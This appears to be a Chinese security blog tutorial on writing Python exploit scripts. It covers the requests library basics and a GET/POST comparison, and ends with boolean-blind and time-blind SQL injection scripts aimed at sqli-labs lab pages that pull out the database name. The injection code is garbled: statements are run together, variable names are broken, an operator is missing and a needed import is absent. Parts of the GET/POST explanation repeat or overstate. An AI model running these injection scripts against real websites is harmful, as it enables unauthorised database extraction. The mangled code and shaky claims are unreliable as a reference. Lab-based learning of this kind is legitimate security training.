定制EXP漏洞利用之Python实现

以Web漏洞为主
基础知识:
requests模块
requests模块详解
requests是使用Apache2 licensed许可证的HTTP库。
用python编写。
比urllib2模块更简洁。

Request支特HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码。
内置模块的基础上进行了高度的封装,从而使得python进行网络请求时,变得人性化,使用Requests可以轻而易举的完成浏览器可有的任何操作。
现代,国际化,友好。
requests会自动实现持久连接keep-alive。
基本语法

import requests
res = requests.get("your url");
//获取响应正文
res.text
//获取响应状态码
res.status_code
//获取响应编码
res.encoding
//以二进制方式获取响应正文
res.content
//获取响应头部
res.headers
//获取提交的url
res.url
//获取发送到服务器的头信息
res.request.headers

相关操作

定制头部
1、重新定义User-Agent

import requests
url="http://172.16.132.138/php/test.php"
header = {"User-Agent":"AJEST"}
res = requests.get(url=url;headers=header)
print(res.request.headers)

2、超时

import requests
url="http://172.16.132.138/php/test.php"
try:    res = requests.get(url=url;timeout=2)print(res.text)
except Exception as e:print("TimeOut!")

3、get传参

import requests
url = "http://10.10.10.131/cpde/PHP/test/get.php"
getPara = {"name":"AJEST","pwd":"123456"}
res = requests.get(url = url,params = getPara)
print(res.text)
print(res.url)

4、post传参

url = "http://10.10.10.131/cpde/PHP/test/post.php"
postData = {"name":"agest","pwd":"123456"}
res = requests.post(url = url,data = postData)
print(res.text)

5、上传文件

url = "http://172.16.132.138/php/upload/index.php"
upFile = {"up":open("info.php","rb")}
res = requests.post(url = url,files = upFile)
print(res.text)

6、重定向

url = "http://172.16.132.138/php/redirect/index.php"res = requests.get(url = url)
print(res.text)
print(res.history)res = requests.get(url =url,allow_redirects = False)
print(res.headers)
print(res.text)

7、cookie

url = "http://172.16.132.138/php/cookie/index.php"
coo = {"name":"ajest"}
res = requests.get(url = url,cookies = coo)
print(res.text)

GET和POST区别

HTTP协议中的两种发送请求的方法,本质上都是在进行TCP连接.

  • GET请求和POST请求的区别是什么?

    • get请求一般是去取获取数据(其实也可以提交,但常见的是获取数据);
      post请求一般是去提交数据。
    • GET请求参数是通过URL进行传递的,所以隐私性,安全性较差,请求的数据长度是有限制的,不同的浏览器和服务器不同,一般限制在 2~8K 之间,更加常见的是 1k 以内;
      POST请求的参数包含在请求体body当中。post请求是没有的长度限制。
    • GET请求比POST请求更不安全,因为参数直接暴露在URL中,所以,GET请求不能用来传递敏感信息。
    • GET请求参数会完整的保留在浏览器的历史记录中,POST请求的参数不会保留。
    • GET请求进行url编码(百分号编码),POST请求支持多种编码方式。
    • GET请求产生的URL地址是可以被bookmark(添加书签)的,POST请求不可以。
    • GET请求在浏览器回退的时候是无害的,POST请求会.再次提交数据。
    • GET请求在浏览器中可以被主动cache(缓存),而POST请求不会被缓存,可以手动设置。
    • get请求会被保存在浏览器历史记录当中,post不会。get请求可以被收藏为书签,因为参数就是url中,但post不能。它的参数不在url中。
    • get请求只能进行url编码(appliacation-x-www-form-urlencoded),post请求支持多种(multipart/form-data等)。
  • 深入区别
    GET产生一个TCP数据包。POST产生两个TCP数据包。
    复杂的说
    对于GET请求,浏览器会把http header和data一起发送出去,服务器响应200,请求成功。
    对于POST请求,浏览器先发送header,服务器会响应100(已经收到请求的第一部分,正在等待其余部分),浏览器再次发送data,服务器返回200,请求成功。

    • 2、既然POST请求需要两步,那么时间上的消耗会不会比GET请求更多?不会。
      GET请求和POST请求都有自己的语义,不能随便混用。
      在网络环境好的情况下,发送一次包的时间和发送两次包的时间差可以忽略,在网络环境差的情况下,发送两次包的TCP在验证数据的完整性上,有非常大的优势。
      并不是所有的浏览器都会在POST请求中发送两次包。比如:火狐。

python实现SQL注入

import requests
url = "http://10.10.10.131/sqli-labs-master/Less-8/"
normalHtmlLen = len (requests.get (url=url+"?id=1").text)
print ("The len of HTML: "+str (norma1HtmlLen))
dbNameLen = 0
while True:dbNameLen_url = url+"?id=1'+and+length (database ()) ="+str (dbNameLen) +"--+"print (dbNameLen_url)if len (requests.get (dbName Len_url).text) == normalHtmlLen:print ("The len of dbName: "+str (dbNameLen)) breakif dbNameLen == 30: print ("Error!") breakdbName Len +=1dbName = ""
for i in range (1, 9) :for a in string.ascii_lowercase:dbName_url = url+"?id=1'+and+substr (database (), "+str (i) +", 1) =' "+a+"'--+"print (dbName_url)if len (requests.get(dbName_url). text)normalHtmlLen: dbName += aprint (dbName) break
import requests
import string
url = "http://10.10.10.131/sqli-labs-master/Less-9/"
def timeOut (url) :try:res = requests.get (url, timeout=3)return res.textexcept Exception as e:return "timeout"
dbNameLen = 0
while True:dbNameLen +=1dbNameLenUrl = url+"?id=1'+and+if (length (database ()) ="+str (dbNameLen) +", sleep (5) , 1) --+"#print (dbNameLenUrl)if "timeout" in timeOut (dbNameLenUrl):print ("The Len of dbName: "+str (dbNameLen)) breakif dbNameLen == 30: print ("Error!") breakdbName = ""
for i in range (1, dbNameLen+1) :for char in string. ascii_lowercase:dbNameUrl = url+"?id=1'+and+if (substr (database (), "+str (i) +", 1) =' "+char+"', sleep (5) , 1) --+"print (dbNameUrl)if "timeout" in timeOut (dbNameUrl) :dbName +=charprint ("The dbName:"+dbName) break

网络安全笔记-POC与EXP的Python实现相关推荐

  1. 网络安全中的POC、EXP、Payload、ShellCode

    什么是 POC.EXP.Payload? POC:概念证明,即概念验证(英语:Proof of concept,简称POC)是对某些想法的一个较短而不完整的实现,以证明其可行性,示范其原理,其目的是为 ...

  2. Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等

    Penetration_Testing_POC 搜集有关渗透测试中用到的POC.脚本.工具.文章等姿势分享,作为笔记吧,欢迎补充. Penetration_Testing_POC 请善用搜索[Ctrl ...

  3. 千峰网络安全笔记(前三讲)

    典中典 <c语言从研发到脱发> <C++从入门到放弃> <Java从跨平台到跨行业> <Ios开发从入门到下架> <Android开发大全--从开 ...

  4. 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第一章 配置python环境

    黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第一章 配置python环境 文章目录 黑帽python第二版(Black Hat Python 2nd ...

  5. Pocsuite3渗透测试框架编写POC和EXP脚本

    在我们的日常渗透测试中,经常挖掘到一些漏洞,但是我们一般使用挖掘工具或者手工判断的时候,不好确定是不是真的存在这么一个漏洞,因此POC脚本就应运而生了.POC全称是Proof of Concept,中 ...

  6. Scipy Lecture Notes学习笔记(一)Getting started with Python for science 1.2. The Python language

    Scipy Lecture Notes学习笔记(一)Getting started with Python for science 1.2. The Python language 1.2.2. 基本 ...

  7. 专业英语笔记:Install and Use Python

    专业英语笔记:Install and Use Python Python was created in 1991. It has been espcially popular in recent ye ...

  8. python爬取b站评论_学习笔记(1):写了个python爬取B站视频评论的程序

    学习笔记(1):写了个python爬取B站视频评论的程序 import requests import json import os table='fZodR9XQDSUm21yCkr6zBqiveY ...

  9. 笔记33 笨办法学python练习40之二:类和对象

    笔记33 笨办法学python练习40之二:类和对象 类和模块差不多么?把这个练习继续往下做,看是否真有如此结果.刚刚对模块有了点感觉,加上这个类class也是要创建,但这个练习所创建的class M ...

最新文章

  1. php mssql 错误,PHP致命错误:调用未定义的函数mssql_connect()
  2. jenkins部署_Jenkins:部署JEE工件
  3. 鸿蒙os2.0发布回放,华为HarmonyOS 2.0系统发布会内容大全 鸿蒙os6月2日直播回放地址入口...
  4. ModelCoder国产化解决方案已逐步代替国外软件Matlab/Simulink
  5. 【AI】统计学和机器学习到底有什么区别?
  6. 2022-01-28总结 CSS复合选择器
  7. Python读取文件时出现UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0x80 in position xx: 解决方案
  8. 搜索 + 剪枝 --- POJ 1101 : Sticks
  9. vue-cli@webpack@4打包分析命令
  10. Visual C# 2005 - 如何制作多变化字体之浮雕字
  11. MySQL中文存到数据库是,springMVC保存数据到mysql数据库中文乱码问题解决方法
  12. 电脑录像,笔记本电脑录像功能_笔记本电脑 录像
  13. 图书馆服务器虚拟化实施方案,服务器虚拟化与图书馆实施策略.pdf
  14. 2022年全球市场介质浆料总体规模、主要生产商、主要地区、产品和应用细分研究报告
  15. 计算机网络-自顶向下方法 第三章课后习题答案(第七版)
  16. tinymce富文本编辑器的使用
  17. linux操作系统. 80188,Materials-Studio5.5在Linux服务器上安装与测算讨论 - 第一原理 - 小木虫 - 学术 科研 互动社区...
  18. 2021-09-11职场规则
  19. 几何画板是如何证明勾股定理的
  20. 纵观无盘系统发展历史

热门文章

  1. dtd文件生成java类
  2. b站喜欢的崩坏3动画短片的保存方法
  3. 博..条码打印机的java开发
  4. 基于Android倒计时器,Android CountDownTimer实现倒计时器
  5. java植物大战僵尸游戏下载安装_用 Java 写一个植物大战僵尸简易版
  6. 诺基亚S60手机c盘、d盘、e盘、z盘的作用
  7. OPPO 一脚踏入世界上最深的坑
  8. 深度学习——权重的初始值
  9. 美国大学本科专业分类大全
  10. 数字逻辑课程设计——自动售货机